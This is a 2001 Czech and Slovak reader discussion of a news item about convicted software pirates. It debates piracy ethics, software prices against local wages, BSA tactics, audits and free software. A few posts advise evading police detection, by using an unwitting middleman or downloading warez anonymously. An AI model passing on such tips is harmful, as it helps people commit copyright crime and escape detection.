Další odsouzení českých počítačových pirátů

Diskuze čtenářů k článku

noname  |  20. 04. 2001 19:50

Vše co tady napíšu je můj osobní názor.

Když počítačový pirát ukradne nějaký software, neudělá škodu programátorům, ale firmě. Znám pár lidí (programátorů), který sou naopak rádi že se jejich produkty objevují na Warezu, kopírují atd.. Protože se jejich práce šiří a sou na to hrdí. Jenom SW firmy to doslova štve. Protože přicházejí o zisky. A doslova jenom hrabou peníze. Autor pořád dostane stejnej měsiční plat, ať se jeho produkt prodává nebo nelegálně kopíruje, takže jemu je to jedno. A kdyby nebylo počítačové pirátství, nemohl bych se naučit programovat, ovládat grafické a kancelářské aplikace, protože bych na to jednoduše neměl. Programátorům doslova fandím, jejich práci oceňuji. I když software kradu, kdyby byli peníze na soft, tak si ho klidně koupím. U nás existuje jenom jedna cesta jak zamezit počítačovému pirátství. Snížit razantně ceny nebo zvýšit platy. Protože u nás si spoustu lidí nemůže koupit ani operační systém. Tady neni USA kde OS stojí pár desítek dolarů. A minimální platy sou tam několik stovek dolarů!

P.S : Tohle byl názor jednoho chudého středoškoláka, fanatika do počítačů. Tak mě neukamenujte nadávkami. :)

Souhlasím  |  Nesouhlasím  |  Odpovědět
resolver  |  20. 04. 2001 19:50

fakt ale je, ze aby mohla firma ty vyvojare zamestnavat, tak potrebuje mit penize... Dalsim faktem je, ze kdyz o firme nikdo nebude vedet, tak jeji produkty se prodavat nebudou a nebudou ani na warezackejch sajtech => penize na reklamu, distribuci, servis. Jinak ti vyvojari nedostanou svuj plat. Tim neobhajuju m$, pouze konstatuju fakta. To, ze si firmy davaji tucnou marzi, to je vec jina. Nicmene diky tomu muze rozsirovat pocet zamestnancu, sou penize na premie...a par sefu ma VELKE zisky... To bychom radi zrusili, ale nejde to. Vitejmez v kapitalizmu. Co se tyce warezu pro studijni ucely - myslim si, ze bez toho by plno firem neprezilo, protoze tim se vytvareji urcite pracovni navyky a zvyklosti (vazane na urcity sw), cimz je dosazeno toho, ze sw je kupovan firmami (tady je hlavni zdroj zisku pro sw firmy). Dalsi veci je, ze kdyz bych na tom (zwarezenym softu) chtel vydelavat (nebo pouzivat na neco jineho, nez na to, abych se naucil interface daneho programu - jednoduse kdyz napr. budu delat vlastni web, udelam ho v GIMPu a Emacsu a ne dejme tomu ve Photoshopu a FrontaPagi (fuj!)), pripadalo by mi to amoralni. BTW z tohoto hlediska pouzivat zwarezene pocitacove hry je amoralni vzdy - kdyz nemam na hru za 2kKc, tak proste rok dva pockam, az bude za 500 Kc...
... doufam, ze moc nementoruju =)

Souhlasím  |  Nesouhlasím  |  Odpovědět
haVaj  |  20. 04. 2001 19:50

ALWAYS REMEMBER:
WE DO THIS JUST FOR FUN! AND WE ARE AGAINST COMMERCIALISATION! IN FACT WE BUY ALL OUR OWN GAMES, AS WE LOVE GAMES, AND WE ARE NOT JOKING! IF YOU LIKE THIS GAME, BUY IT, WE DID!

Souhlasím  |  Nesouhlasím  |  Odpovědět
to je jedno  |  20. 04. 2001 19:50

Po precitani vsetkych prispevkov na tuto diskusiu som dosiel k par zaverom: Kazdy ma svoju pravdu. Na jednej strane ti, co piratia a na druhej strane, ti co vyrabaju softwer. Ako niekto predomnou poznamenal, takemu programatorovi je fakt jedno, ci sa ten soft pirati,alebo nie (dokonca moze byt rad), pretoze dostane svoju vyplatu a smitec. Velmi malo zmluv medzi firmou a programatorom je tak stavanych = kolko kusov sa preda, tolko percent dostanes. Dalej, ak by tu nebolo piratstva, dajme si ruku na svete, poznal by niekto co je to sony playstation ? Prave piratstvo dopomohlo sony,tam kde je. Dalsia nesporna vec je marketing. Ludia, marketing robi svoje. Myslite ze by tu bol Wirdoze, keby MS nemal tak dobry marketing ? Asi tazko... Existuje (existovalo?) omnoho viac stabilnejsich, prepracovanejsich a...OS a programov co ponuka MS. Ale kedze MS ma svoj fasa marketing a managment, bohuzial, bud firmu uplne zruinuje, alebo ju proste kupi...
Myslim, ze piratom coskoro (no ako kde) odzvoni, totiz pride sem mrkvosoft, vsetkych si nas zosietuje, uzakonia sa digitalne podpisy a...ziadne piratstvo nam nepomoze. Myslim, ze jedina ochrana tohto druhu nebola prelomena. I ked verim, ze naozaj sikovny a inteligentny programator by vedel naprogramovat program, ktory by sa len tak lahko nedal kopirovat.
Piratstvo tu bolo,je a bude, pokym sa ceny za soft rapidne neznizia, alebo zvysia platy. Bodlo by porovnanie priemerneho platu Cecha (Slovaka) s priemernym platom Americana a porovnat to s nadobudacou cenou originalu Wiru2k.
A potom preco vychodna europa pirati...
Okrem toho taky mrkvosoft ma zaratane v cene aj to nejake percento straty, co sa pirati...

Souhlasím  |  Nesouhlasím  |  Odpovědět
?  |  20. 04. 2001 19:50

A to je vše,čím mě chcete strašit za poslední 3 roky???
Asi jste opravdu placenej agent,když to teď vytahujete.

Souhlasím  |  Nesouhlasím  |  Odpovědět
snke  |  20. 04. 2001 19:50

Alebo urobim soft, a dam si marzu ktora nerobi 1000% ako to je, kolko krat je preplateny soft...kolko percent zisku ma Adobe alebo MS....nad tym sa zamyslime....naklady versus zisk...tu niekde by sa to malo cele odohrat.
ale predaj softu je pojebane tunelarcenie nasich penazeniek ako
su drogy alebo zbrane..

Souhlasím  |  Nesouhlasím  |  Odpovědět
Scatman  |  20. 04. 2001 19:50

... mne by spíš zajímalo, proč taky v Annonci policajti nejdou po prodeji státních bytů, který se schovává za fiktivní výměnu bytů. To zase kvůli BSA dostali "piráti" na prdel a ti co normálně KRADOU si v klidu běhají po svobodě... připadá mi to spíš jako cílené proti jedné skupině ... a ta druhá má pohodu....

Souhlasím  |  Nesouhlasím  |  Odpovědět
ufak  |  20. 04. 2001 19:50

Kdyz udelam SW, tak si rozmyslim, jestli ho poskytnu jako FW nebo jestli budu chtit penize. Vzdyt je v nem dost casu a prace. A i kdyby byl vytvoren z nadseni, kdo mi zaplati proud a koupi pocitac (a to nemluvim o jidle?).
Tim chci rict, ze se ma platit. Napr. ted nemam na auto i na 3D Studio. Co udelam?
1) Budu jezdit autobusem a pesky a nebudu delat 3D grafiku (nekomercne).
2) Auto ukradnu a za 20 let nasetrim na 3D program.
.....
(Hergot, nechtel jsem to napsat jinak?)

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jirka  |  20. 04. 2001 19:50

ano tahle situace je diky cenam v CR a ostatnich statech.V USA si za 20-100$ koupite softy v kramu a pokud chcete drazsi nebo spise potrebujete tak si ho koupite take {urcite ho nemate jen tak na to abyste ho mely ale na praci a pak treba 1000 nebo i 10000$ neni tak moc pro pracovni soft}.Jasne je ze pirati budou dokud bude treba hra na PC stat 2000Kc a mesicni plat bude 6000Kc Na adresu tech piratu co je poldove zklaply bych rekl jen : "patri Vam to panove ,mate myslet a ne bejt blby asi jako ty poldove co Vas zklaply.Meli jste si najit saska ktery nevi ani kde bydlite a nekde v koute kavarny od nej prevzit objednavky a pak zase dryhej den mu je predat a on je mel poslat .Zaplatili byste mu par stovek a poldove by nikdy nenasly Vase PC doma a Vas soft a to ostatni"Tak to jen tak do budoucna Kluky piratsky jsou potreba ale museji myslet a pak to bude OK. Nebo snizit ceny originalu {hlavne tu stupidni DPH} a bude piratum odzvoneno

Souhlasím  |  Nesouhlasím  |  Odpovědět
Hurricane  |  20. 04. 2001 19:50

Zdravim

No, asi to znamena, ze budou 4 roky litat venku a vesele palit dal a az potom pujdou sedet. V kocourkove to tak obcas chodi.

Jinak co se tyce problemu s BSA, podezirani vsech ze zlodejstvi apod. Mrknete se na http://czdev.byte.cz.
Dekuji za pripadnou podporu.

Hurricane

Souhlasím  |  Nesouhlasím  |  Odpovědět
Patrik Chrz  |  20. 04. 2001 19:50

...odsouzení k 12 měsícům nepodmíněně s odkladem na 4 roky
To je trochu nesmysl! Buď byli odsouzeni nepodmíněně, nebo podmíněně s odkladem!

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Tato myslenka se mi nelibi uz z toho duvodu, ze a priori predpoklada, ze vsichni jsme zlodeji a musime pred nejakou statni instituci (financnim uradem) dokazovat, ze tomu tak neni.

Reseni by zrejme bylo ucinne, ale take dost diktatorske... Role statu by mela byt ve spolecnosti co nejmensi...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Nápravník Jiří  |  20. 04. 2001 19:50

úvod je na Nové řešení nelegálního SW

Naopak. Pokud zde dnes někdo říká, že jsme zloději tak jsou to akce BSA a jejich udavačské telefonní linky a inzeráty.

Na druhou stranu je pravda, že je v ČR (ale nejenom zda) hodně černého SW. A další skutečností je fakt, že stát a státní úředníci neumějí tuto oblast kontrolovat (těch několik profiků promine )o čemž svědčí akce Policie proti nelegálnímu používání SW ve firmách při kterých byly zabaveny i monitory a klávesnice!!

Takže někdo třetí, který má kvalifikaci řekne : Vaše firma je v pohodě nebo máte zde tento a tento SW, který je černý a on řekne (vydá auditní zprávu) státnímu úředníkovi, že ve firmě je to z pohledu autorského zákona ke dni kontroly vše v pořádku.

Tento způsob řešení by měl/ mohl mít i další oblasti kde by mohl být použitelný. Jedná se například ochranu účetních dat - nevedení účetnictví je trestný čin a to se může stát například příklad i po krádeži počítače, požáru, atd.

Shrnu to : Audit by nedělal státní úředník ale nezávislá osoba (auditor) nebo auditorská firma podobně jako v případě vedení účetnictví.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Nápravník Jiří  |  20. 04. 2001 19:50

Předně o tom, že jsme zloději není na strance http://salamandr.cz/antibonz.cz
ani slovo.

Tento přístup spíš razí BSA a její akce s udavačským telefonním číslem a inzeráty.

Na druhou stranu je v českých firmách hodně černýho SW. Státní úředníci to ale neumějí účinně kontrolovat (těch několik profíků promine )o tom svědčí i akce kdy Policie zabavila nejenom počítač ale také monitor a klávesnici.

Jak tedy z toho ven. Podporovat udavačské metody?? To snad ne.
Nechat to na státních úřednících
Podle mne by nejschůdnější bylo řešení s použitím nezávislé třetí strany podobně jako je to v oblasti finančního auditu.

Nápravník

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jirka  |  20. 04. 2001 19:50

Poslyšte, pane Nápravníku, nejste náhodou cosi jako auditor a nepropagujete tady svoji živnost? Já jakožto drobný podnikatel Vám mohu říct, že ani náhodou netoužím po tom, abych musel někomu dalšímu zase odevzdávat část ze svých nelehko vydělaných peněz... Nelegální SW nepoužívám sám od sebe (viz můj příspěvek výše) a nepotřebuji k tomu kontrolu žádného bolševického byrokrata ani jiného, jím případně zmocněného subjektu. Pravděpodobně jste zastáncem silného státu, že? Já právě naopak...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Nápravník Jiří  |  20. 04. 2001 19:50

Vážený pane,

ano pracuji mimo jiné taky jako soudní znalec a jako auditor. Rozhodně ale odmítám takový OMEZENÝ a Maloměšťácký názory jako uvádíte. Pokud jde o zájmy mé firmy a náš hlavní předmět podnikání je trochu mimo softwarový audit a rozhodně nebudu plýtvat svým časem nebo časem kolegů na to, aby někde počítali cédečka. Na druhou stranu je zde situace, že se krást KRÁST nemá. I když se mé názory diametrálně liší s názory a postupy BSA v tomto s nimi souhlasím pokud někdo podniká a používá SW k tomu, aby sám lépe prosperoval tak je to prostě zloděj.
A teď je pouze otázka jak to budeme řešit.
Výchovou lidí ? Sorry, v zemi kde se ještě před několika lety říkalo, že kdo nekrade okrádá rodinu je to nepoužitelné.
SW klíče a různé kryptografické pomůcky pro ochranu proti neoprávněné instalaci?
Případ s prolomením ochrany s DeCSS je snad srozumitelný, takže by to bylo pouze otázkou času kdy to bude prolomené i u ostatních SW. SW klíče jsou sice řešením ale dost prodraží už tak drahý soft.

Zlevnit SW super už se i já těším ale domníváte se, že výrobci raději budou sponzorovat udavačské linky. Prostě je to vyjde levněji.

Prodávat SW přes Internat s použitím digitálních certigikátů to zajímavé řešení. Budeto ale znamenat konec pro šoupače krabic (budiž k nim likvidátor milostiv)a současně to bude vyžadovat rozvynutou bezpečnostní infrastruktůru.

Dalším řešením je návrh, které jsem již uvedl na http://salamandr.cz/antibonz.htm
Rozhodně nejsem zastáncem silného státu a právě proto by případnou kontrolu dělali civilisti. A výsledek by byl jasný pokud někdo podniká zdurazňuji podniká a tedy i vydělává, tak by byl povinen dát vydělat také SW firmě.
Mimochodem podivuje se dnes někdo nad tím, že musí předložit své účetnictví ke kontrole nezávislým auditorem? Nikoliv je to pro akciové společnosti a některé s.r.o. samozřejmost.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Ja netvrdim, ze zrovna Vy jste zlodeji. Ja jen opakuji, ze pokud budu muset ja sam nekomu (at uz statni sprave nebo nejakym zpusobem vybrane treti strane) dokazovat, ze neporusuji autorsky zakon, tak se mi to nelibi...

Resenim tohoto stavu nemuze byt represe (at uz prima formou udavacstvi nebo neprima formou dokazovani "SW cistoty"), ale pouze zmena stavu chapani prava a moralky v oblasti SW. Dokud si kazdy bude myslet, ze pouzivat piratsky SW je v poradku, protoze tim nikomu zjevne (sic!) neskodi, nezmeni se samozrejme nic. Teprve az spolecnost prijme fakt, ze je necestne a nemoralni (a az potom nelegalni) pouzivat piratsky SW, a na warezaky se bude pohlizet podobne jako na podvodniky a neduveryhodne osoby stojici na okraji spolecnosti, teprve potom tento problem sam zmizi.

Zavedenim systemu kontrol se jen znesnadni pozice warezu, ale lide si nakonec sve cesticky najdou... Nemluve o korupci, byrokracii a nakladech na vybrani (vytvoreni ?) nezavislych tretich stran...

Moje reseni je samozrejme dlouhodobe, Vase reseni je zrejme kratkodobe ucinnejsi.

Take je mozne, ze se vse vyresi s nastupem novych technologii instalovani, pronajimani a licencovani SW - viz Windows XP, online programy na siti atd. - jiz dnes existuji naznaky a pokusy...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Nápravník Jiří  |  20. 04. 2001 19:50

Pokud jde o nové přístupy a lá Windows XP tak bych Vás pouze odkázal na trapas, který vznikl po zveřejnění DeCSS. Prostě možnosti zlodějů a výrobců bezpečnostních prvků je nekonečný příběh o hledání zbraně a proti zbraně.

Možností by bylo možná pronájímání Sw prostřednictvím ASP, ale to bude chtít, aby bylo velmi levné připojení do I-netu a lidé se naučili tyto služby používat.

Pokud se domníváte, že čas a apel na etiku a slušnost problém nelegálního SW vyřeší tak se domnívám, že každý z nás žijeme v jiné zemi. Já pocházím ze země Josefa Švejka a země kde do nedávna platilo heslo :"Kdo nekrade okrádá rodinu."

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jirka  |  20. 04. 2001 19:50

Je zajimave, ze vetsina lidi srovnava kradez softvaru s kradezi auta. Potom by se snad mohl takovyto cin i podobne posuzovat, ne ?
Proto je zajimave, ze vam nikdo (osobni zkusenost ...) nerekne, za jakych podminek muzete ten ktery software pouzivat, i kdyz je u nej licencni ujednani.
To na internet nechodi softwarovy pravnici ?

P.S. a jedna z nejlepsich rad prisla z horke linky M$ : aby jste meli jistotu, ze Office budete pouzivat legalne , provedte Format C:\ (zari 1999)

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Domnivam se, ze obe strany (vyrobce SW kontra warezaci) zamerne siri nepravdy.

Je jasne, ze nelze vzniklou skodu vycislit pouhym sectenim cen vypaleneho SW na CD a vynasobit poctem prodanych CD. Pokud by kupec tohoto CD musel za vsechny programy zaplatit, zcela urcite by nekoupil nekolik podobnych programu a zcela urcite by zacal hledat levnejsi, ne tolik spickove alternativy.

Na druhou stranu zduvodnovat warez tim, ze si to jen vyzkousim a pak si to urcite koupim, je take naivni. Z toho, co mohu obcas ve svem okoli zahlednout, si myslim, ze cim vice nekdo pouziva warez, tim mene programu skutecne kupuje. Stejne tak pouzivani SW pro "studijni ucely" dnes uz moc neobstoji, staci se podivat na nabidku testovacich verzi ci Learning Edition verzi - i kdyz uznavam, ze spolecenska nebezpecnost pouzivani napr. vyvojoveho nastroje studentem na VS pro vytvoreni semestralky (pozor, ne pro vydelavani penez!) je dost nizka...

Vse si lze hezky ukazat na prikladu s auty. Pokud nemam dost penez, tezko muzu ocekavat, ze si muzu beztrestne nekde "pujcit" nejnovejsi Ferrari, Porsche a jeste pro srovnani Jaguara a vymlouvat se, ze to nikomu nevadi, protoze ja bych si ta auta stejne nikdy nekoupil. Proste pokud na to nemam, jezdim ve stare skodovce nebo tramvaji.

Ale pokud budu provozovat taxi sluzbu a pomoci auta si vydelavat penize, tezko muzu argumentovat, ze je auto pro me drahe - bud podnikam poctive a sikovne tak, ze si auto zaplatim, nebo podnikam nepoctive, auto nezaplatim a poskozuji nejen vyrobce aut, ale i ostatni taxikare, kteri musi mit drazsi ceny. Nehlede na fakt, ze pokud by se aut prodavalo trikrat tolik, byla by lacinejsi...

Nekdy me prekvapuje, ze nestoji skupiny lidi podporujicich Warez a Linux ostre proti sobe. Kdyby se tvrde postihovalo softwarove piratstvi, urcite by to HODNE pomohlo Linuxu a free softu vubec! Problem bude zrejme v tom, ze neni tak jednoduche odlisit svobodu (Linux) od anarchie (Warez) ... to je ale tema na delsi diskuzi a ja uz jsem se rozkecal az moc...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jan Vitek  |  20. 04. 2001 19:50

proc by stali proti sobe? co vim tak warezacka ftp jsou z velke vetsiny prave na linuxovych serverech a jejich spravci byvaji slusni profici

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

No prave to me prekvapuje.

Na jedne strane se Linuxaci casto radi prezentuji jako lide, kteri maji "vybrouseny" cit pro svobodu a spravedlnost, takze jim treba vadi "diktatorstvi" velkych a mocnych firem, na druhe strane jsou to prave oni (jak jste rekl slusni profici), kterym vubec nevadi pouzivat vysledky cizi prace navzdory pravidlum.

A argumenty typu "Microsoft ma penez hodne, ty penize si vydelal sice legalne, ale zpusobem, ktery se mne osobne nelibi, takze mu muzu trochu sebrat" proste neberu.

Souhlasím  |  Nesouhlasím  |  Odpovědět
adam_winemaker  |  20. 04. 2001 19:50

Možná by to chtělo neházet všechny "Linuxáky" do jednoho pytle. Určitě nejsou všichni svatí, ale nevidím žádnou souvislost mezi tím, že je člověk příznivec Linuxu, a tím, že je softwarový pirát.

Naopak, znám mnoho lidí, kteří přešli na Linux právě proto, že nechtěli užívat programy nelegálně a na jejich zakoupení prostě neměli dostatek finančních prostředků. Tak si prostě zvolili jejich volně dostupné alternativy. Ty sice mnohdy nedosahují komfortu jejich komerčních bratříčků (i když je hodně vyjímek), ale pro svůj účel jsou dostatečně použitelné.

Přitom je mnohem pohodlnější si prostě potřebný program stáhnout z warezového serveru a případně někde na webu najít cracknutý klíč, než hledat jeho volně dostupného bratříčka a učit se ho ovládat.

Já sám Linux požívám (mimo jiné) a nemám potřebu používat SW nelegálně. Na spoustu věcí mi stačí volně dostupné programy a na to, na co mi nestačí, mi prostě příslušné programy nakoupil můj zaměstnavatel.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Plne souhlasim. Rozhodne jsem svuj prispevek nemyslel tak, ze Linuxak=Warezak. Pouze jsem napsal, ze bych cekal nejakou ostrejsi opozici, treba ve stylu Linuxak kontra Windowsak. Kdyz tady takova opozice neni, naprosta vetsina akci na ochranu autorskych prav pak pripada na velke SW firmy typu Microsoft, ktere ji pojmou "svym, pomerne nestastnym zpusobem" = vybizeji k bonzovani, zastrasovani, pomoci detektivu provadeji kontrolni nakupy... Reakci je pak samozrejme "spravedlivy" hnev a obhajovani nepoctive hry natruc velkym gigantum. Prirozena lidska slusnost a ucta k praci jinym se pak v tomto soukoli vytraci...

Presto mi pripada, ze prispevek Jana Vitka vypovida spise o tom, ze pro mnohe lidi plati prima umera: Profik = Linuxak = svobodny clovek = Warezak...

Souhlasím  |  Nesouhlasím  |  Odpovědět
ja  |  20. 04. 2001 19:50

Niekolko poznamok:

"LE" zvycajne znamena "Light Edition" a nie "Learning Edition". Obvykle to znamena, ze z povodneho programu tam ostalo "File:New, Open, Save, Exit". (Samozrejme prehanam, ale predstavu ste si vytvorili).

Nesuhlasim s vasim prikladom s autami. Medzi autami a softwarom je jeden podstatny rozdiel - auto je statok, ktoreho mnozstvo je obmedzene, zatial co sw nie. Ked si "poziciate" auto, povodny majitel ho uz nemoze pouzivat. Ked si "poziciate" software, povodny majitel ho dalej pouzivat moze. No a co to ma spolocne s taxikmi, mi nejako unika.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Ja jsem si jako priklad vzal MS Visual C++, jehoz "nejmensi" verze se prodava jako Learning Edition - tuto verzi lze take casto najit prilozenou v ruznych knizkach o programovani v C++.

U tohoto produktu neni funkcionalita skoro omezena (chybi tam treba jenom profiler, coz funkcionalitu prekladace vubec neomezuje), vetsina zmen je ve smluvnim ujednani, kde je jasne receno, ze vysledky prace s timto SW nelze prodavat!

Na priklad s autem jsem pred chvili odpovidal v jinem prispevku: To ze nevznikne zadna PRIMA skoda je samozrejme hezke, ale vzniknou neprime skody - uzivatel, ktery by SW potreboval a nemel sanci si ho "opatrit" pokoutne, by si ho nakonec nekde koupil (i kdyz treba od jine firmy a o hodne lacinejsi verzi, nez si "opatril" jinak). A urcite kazdy pochopi, ze je lepsi mit 100 uzivatelu, kteri si koupi SW za 2000 Kc, nez 90 warezaku a 10 uzivatelu, kteri zaplati za stejny produkt 10000 Kc (cena krabice a CD je mala, plati se hlavne vyvoj, pripadne support). Je to lepsi jak z hlediska producenta SW, tak z hlediska poctiveho uzivatele!! Pouze z hlediska nepoctiveho uzivatele je to horsi!

Taxi jsem uvedl jako priklad situace, kde je SW (auto) pouzivan jako vyrobni nastroj. Tam potom dochazi nejen k poskozovani vyrobce SW (aut), ale i ostatnich podnikatelu (taxikaru), kteri poctive kupuji SW (auta) a maji tak samozrejme vyssi naklady a jsou pak mene konkurence schopni.

Souhlasím  |  Nesouhlasím  |  Odpovědět
hil  |  20. 04. 2001 19:50

Ten příklad s auty silně kulhá. Ojetýho Jaguára určitě nikdo nekoupí, protože to na něm pozná. A naopak si myslím, že kdyby na tachometru zůstala nula a pneu netknutý (jako u software) prostě kdybych ho vrátil v tom stavu jak jsem si ho vzal, rád by mi ho obchodník na vyzkoušení dal. (Zkušební jízdy se dělají i přesto.)
Ale u vyzkoušení a vymazání softwaru jde o něco úplně jiného. Ten při vyzkoušení "neojedu". Souhlasím s tím, že pokud si jeho pomocí budu chtít vydělávat, zaplatím ho.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Samozrejme, ze SW je svoji povahou jiny; take proto se da tak jednoduse kopirovat. Presto si myslim, ze prirovnani sedi. V cene auta totiz neni jen samotny material, ale soucasne cely vyvoj (dnes miliardy), reklama atd.

A je samozrejme rozdil mezi jednou testovaci jizdou a rekneme pul rokem pouzivani - stejne tak jako je rozdil mezi ukazanim SW na veletrhu a pouzivanim stejneho SW po dobu pul roku.

A navic si myslim, ze u SW je mnohem vetsi benevolence nez u prodeje aut - mnoho softwaru dnes existuje ve verzi 30day trial.

Ja to proste beru tak, ze kdyz uz nutne potrebuju nejaky software, tak podporim jeho tvurce tim, ze si ho koupim. A pokud na nej nemam, tak si najdu alternativu (treba mene pohodlnou, ale levnejsi).

Kdyz se vratim k prikladu s auty: Kdyby vyrobce aut svoje auta pouze bezplatne pujcoval a skoro neprodaval, tak se vsadim, ze mu nezbyde na vyvoj dalsiho modelu, na platy zamestnancum... A to ze by mu nevznikla zadna PRIMA skoda (tj. treba opotrebovani auta), by ho uz nezachranilo.

Souhlasím  |  Nesouhlasím  |  Odpovědět
skdd  |  20. 04. 2001 19:50

porovnanie z autami silne kriva na obe nohy a to hned z niekolkych dovodov. Ked sa mi pokazi auto pridem do servisu kde mi ho vo vacsine pripadov opravia (nehovoriac o zaruke) u softwaru si staci precitat licencne podmienky, popr. zavolat na hotline a je jasne, ze prave auto je iny pripad. Auto je hw&sw all-in-one, takze diagnostika chyby sa neda "zhodit" na hw alebo sw alebo na OS. Jaguara si tiez mozete kupit kradnuteho, problem je v tom ze sa nim moc za hranice asi nepozriete. Za auto platite vselijake dane ked s nim podnikate. Na trhu s autami panuje celkom ina situacia ako na trhu so software vsakze. Ked ukradnete auto, policajtovi je hned jasne o co ide, ked kradnete software policajta to moc nezaujima. A najma v aute sa da celkom slusne zabit, na auto sa daju balit buchty, da sa v nom sulozit, co sam uznate so softwarom nie je ani trochu mozne a ak je urcite to nie je take zaujimave ako s autom.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Mate ve vsem pravdu, auta jsou jine nez SW

Ja jsem pouzil jen prirovnani, coz znamena, ze si myslim, ze u obou prikladu (SW a auta) plati podobne zakonitosti v tom, o co mi jde. Pokud by auta byla ve vsem stejna jako SW, tak by prirovnani jaksi ztratilo svuj vyznam

Zajimavych odlisnosti bychom mohli najit asi hodne...

Souhlasím  |  Nesouhlasím  |  Odpovědět
771022  |  20. 04. 2001 19:50

uz na stredni skole jsme se ucili, jaky je rozdil mezi hmotnym a nehmotnym investicnim majetkem. takze srovnani softwaru s autem se mi zda ponekud nevhodne.

zdroj - jakakoliv ucebnice ekonomiky pro stredni skoly

Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek  |  20. 04. 2001 19:50

Vaše argumenty by mohly být přijatelné dvěste kilometrů směrem na západ. Ano, tam bych si vydělal opravdu více. Tady mám jen 3 vyšší plat než uklízečka, a téměř stejný plat jako uklížeč co dělá noční šichty.

Pokud se mám tady udržet profesionálně na úrovni, budu muset asi začít krást SW. Jiná šance není. Vězení není pro mě odstrašující - byl jsem za totáče dva roky na vojně a měli jsme tam horší podmínky než mají dnes vrazi v base. (zima, blafy co nešly zřát, strevní epidemi, šikana) Až mě zavřou, budu si v base vesele pískat , protože budu žít za vaše daně. Pochybuji, že na tom společnost jako celek vydělá. Eventuálně skončím ve cvokárně,
což bude větší zábava :o) už se těším na art-terapii. A možná napíšu druhý díl přeletu nad kukaččím hnízdem.

Jinak bych chtěl slyšet nějaké vysvětlení, jak je možné že výměna známek mezi filatelisty je přípustná a výměna mp3 nebo softwaru ne. To je bordel, co !!! Dvojí metr. Mafie fonografického průmyslu!!!. Pokud jdou vyměňovat známky, bude se vyměňovat i SW a basta.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Zorro  |  20. 04. 2001 19:50

Ten priklad s auty je pekne pitomej.
Kdys ukradnete auto, kdo zacne rvat jako prvni? Ten poskozenej - puvodni majitel, ktery si ho poctive zaplatil a ted' mu proste chybi - mate ho vy. VYROBCE Ferrari vubec nevadi ze je v ulicich o jedno Ferrari vice, naopak.

V pripade software je tomu naopak - puvodnimu majiteli je to uplne jedno: ma to zaplacene a uziva si to jak chce, a je oficialnim pravoplatnym majitelem se vsim vsude. Ale vyrobce rve - on se snad domniva, ze by se ten jeho software opravdu musel prodat za tu cenu? Osobne ja v tom vidim pouhe a cire LAKOMSTVI toho ktereho vyrobce, kteremu proste vadi ze nekdo to uziva a von z toho misto svych $200mln. zisku ma jen tech 100. Umim pochopit vztek maleho vyrobce SW, ktery investoval vlastni penize, cas a sily do nejakeho proektu, pak mu to nekdo ukradne, prodava to na palenych CD za 200Kc, a von (vyrobce-vyvojar) pak zkrachuje. To ale neni pripad Micro$oftu, a jejich kecy okolo piratstvi jsou mi naprosto pruhledni.

BTW: chcete-li svuj SW ochranit proti kradezi, pak si ho zajistete, zpusobu je milion. Ale to by jste musel udelat Sw poctive i na te ochrane zapracovat. Micro$ofti jsou radi ze jejich xindly behaji jen tak-tak, zatezovat to cele jeste nejakou ochranou - na to proste nemaji kapacity
A tak se pokouseji uplne prehodit problem ochrany sveho majetku na policii a soudy, a sami se tvari strasne POSKOZENE, a pri tom jsou zdaleka nejvetsi, nejbohatsi, nejuspesnejsi apod.
HOWGH...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin Beneš  |  20. 04. 2001 19:50

No, myslím, že nejjednoduší je kombinace zakoupený Win s počítačem ( tj. OEM ) a většina běžných aplikací již má variantu ve freesoftu ... dnes jsou tyto aplikace již na velmi vysoké úrovni a mnohdy předčí i jejich komerční "bratříčky" ...

NULA.cz ... katalog užitečných odkazů, přehled zpravodajství, předpověď počasí atd.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jirka  |  20. 04. 2001 19:50

PŘESNĚ tak to dělám já, k naprosté spokojenosti. Ti, co "kradou", jsou většinou líní, nijak se v ničem neomezují (proč si to nevzít, že?) a neudělají ani to, že by se po nějakém freeware poohlédli. A že je ho skutečně dostatek!

Souhlasím  |  Nesouhlasím  |  Odpovědět
Fikus  |  20. 04. 2001 19:50

Myslím, že to pěkná hovadina nabízet
přepálený soft v inzertních novinách.
Když chce člověk načerno software,
není lepší si to sehnat přez známé,
pěkně potichu ?!?!

Souhlasím  |  Nesouhlasím  |  Odpovědět
Milos Format  |  20. 04. 2001 19:50

A proc si jej treba nestahnout z Warezu? Hezky bezpecne pres SafeWeb. Nebo zeby nebyly rychle linky? Nebo zeby vlada vedela proc podporuje monopol v TelCOMech ???

Souhlasím  |  Nesouhlasím  |  Odpovědět
ray  |  20. 04. 2001 19:50

Nevím proč policajti jedou po takových finančních prkotinách.
V inzerátech jsem viděl, že někdo prodává CD na kterém bylo vypáleno:
Lightwave (prodejni cena originálu 100 000,-),
Maya s plug-iny (300 000,-),
3DS Max (150 000,-) a mnoho mnoho dalších. CD bylo v tržní ceně software zhruba za 2 000 000,- Kč. On ho prodával za 199,-. Zlatí a hodní piráti!!!! No a když takové CD vypálí 300 lidem, hned tu máme škodu za 600 000 000,-. To už by se dalo možná i vyšetřovat. .

P.S. Holčík, Annonce se píše s dvěma "n".

Souhlasím  |  Nesouhlasím  |  Odpovědět
tomáš (nevěřící)  |  20. 04. 2001 19:50

